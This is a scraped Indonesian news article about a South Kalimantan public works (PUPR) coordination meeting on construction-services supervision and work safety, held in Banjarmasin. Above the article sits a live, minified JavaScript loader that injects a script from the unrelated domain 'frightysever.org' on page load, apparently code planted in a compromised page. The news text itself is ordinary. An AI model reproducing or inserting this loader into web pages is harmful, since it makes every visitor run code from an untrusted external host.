(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PUPR PROV KALSEL

PUPR Kalsel Gelar Rakor Pembinaan dan Pengawasan Penyelenggaraan Jasa Konstruksi


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan menggelar Rapat Koordinasi Pembinaan dan Pengawasan Penyelenggaraan Jasa Konstruksi, di Banjarmasin, Selasa (30/9/2025) siang.

Kegiatan itu merupakan upaya mewujudkan pembangunan yang aman, berkualitas, dan produktif terus digencarkan oleh Pemerintah Provinsi Kalimantan Selatan melalui Dinas Pekerjaan Umum dan Penataan Ruang Kalsel.

Rakor mengusung tema “Meningkatkan Kompetensi dan Kepatuhan Keselamatan dan Kesehatan Kerja Sektor Jasa Konstruksi Menuju Pembangunan Kalsel yang Aman dan Produktif” itu dibuka oleh Plt Kepala Dinas PUPR Provinsi Kalsel, M Yasin Toyib, yang diwakili oleh Kepala Bidang Bina Konstruksi, Mustajab.

Baca juga: Survei Kepuasan Publik 100 Hari Kerja Lisa –Wartono, Ini Angka yang Didapat LS Vinus


Turut hadir pula Kepala Balai Jasa Konstruksi Wilayah V Banjarmasin, Dwi Retno Wardhani, serta perwakilan dari kabupaten/kota, asosiasi badan usaha jasa konstruksi, dan perangkat daerah terkait.

Dalam sambutannya, Mustajab menekankan pentingnya kolaborasi lintas sektor untuk memastikan penyelenggaraan jasa konstruksi di Kalsel berjalan sesuai standar, aman, dan berdampak positif bagi masyarakat.

“Tahun ini terdapat 670 paket pekerjaan konstruksi yang dilaksanakan oleh 29 SKPD Provinsi Kalimantan Selatan. Jumlah ini menunjukkan betapa pentingnya penguatan pengawasan, terutama karena tantangan SDM dan anggaran masih sangat terbatas,” ungkap Mustajab.

Baca juga: Kepala Kantor Pertanahan ATR/BPN Banjar Audiensi ke Bupati Banjar, Ini yang Dibahas


Ia juga mengungkapkan bahwa hingga saat ini, Dinas PUPR Kalsel belum memiliki Pejabat Fungsional Pembina Jasa Konstruksi, yang dibutuhkan untuk menunjang pembinaan dan pengawasan teknis.

Dukungan dari Balai Jasa Konstruksi dan Kementerian PUPR sangat diharapkan untuk mempercepat pemenuhan kebutuhan tersebut.

Mustajab menjelaskan bahwa rakor ini bukan hanya untuk menyamakan persepsi antara pemerintah provinsi dan kabupaten/kota, tetapi juga menjadi forum pembekalan agar seluruh pemangku kepentingan memahami regulasi terbaru, termasuk Permen PUPR Nomor 1 Tahun 2023 tentang Pengawasan Penyelenggaraan Jasa Konstruksi.

“Pengawasan tidak hanya soal teknis, tapi juga menyangkut keselamatan kerja, kesehatan kerja, dan keberlanjutan pembangunan. Rakor ini adalah bagian dari upaya membangun sistem jasa konstruksi yang lebih tertib, aman, dan berkualitas,” tambah dia.

Baca juga: DKISP Banjar Gelar Rakor Smart Kampung Manis Versi 2


Melalui rakor ini, Pemprov Kalsel berharap seluruh unsur yang terlibat dalam jasa konstruksi memiliki pemahaman dan semangat yang sama dalam menjalankan pengawasan dan pembinaan sesuai dengan amanat regulasi terbaru.

“Kegiatan ini bukan hanya formalitas, tapi momen penting untuk menguatkan sinergi antar daerah, memperbaiki sistem, dan mendorong terciptanya lingkungan pembangunan yang aman, produktif, dan akuntabel,” ujar Mustajab.

Sementara itu, Kepala Balai Jasa Konstruksi Wilayah V Banjarmasin, Dwi Retno Wardhani, mengapresiasi komitmen Dinas PUPR Kalsel dalam menyelenggarakan pembinaan dan pengawasan jasa konstruksi, terutama kepada OPD yang menjalankan fungsi suburusan ini di tingkat kabupaten/kota.

“Tugas pengawasan jasa konstruksi kini telah dibagi antara pusat, provinsi, dan kabupaten/kota. Oleh karena itu, pemerintah daerah tidak hanya sebagai pelaksana proyek, tetapi juga pengendali mutu dan keselamatan konstruksi di wilayahnya masing-masing,” tegas Dwi Retno.

Ia juga menyoroti pentingnya memahami tiga tertib dalam jasa konstruksi, yakni Tertib Usaha: Perizinan dan keberlanjutan badan usaha konstruksi. Tertib Penyelenggara: Perencanaan hingga serah terima hasil konstruksi. Tertib Pemanfaatan: Fungsi dan kebermanfaatan hasil konstruksi.

Ketiganya, menurut Dwi Retno, menjadi kunci untuk mengurangi potensi kegagalan bangunan dan kecelakaan kerja, sekaligus meningkatkan kepuasan masyarakat sebagai penerima manfaat langsung. (kanalkalimantan.com/MCKalsel/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

2 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

7 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

7 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.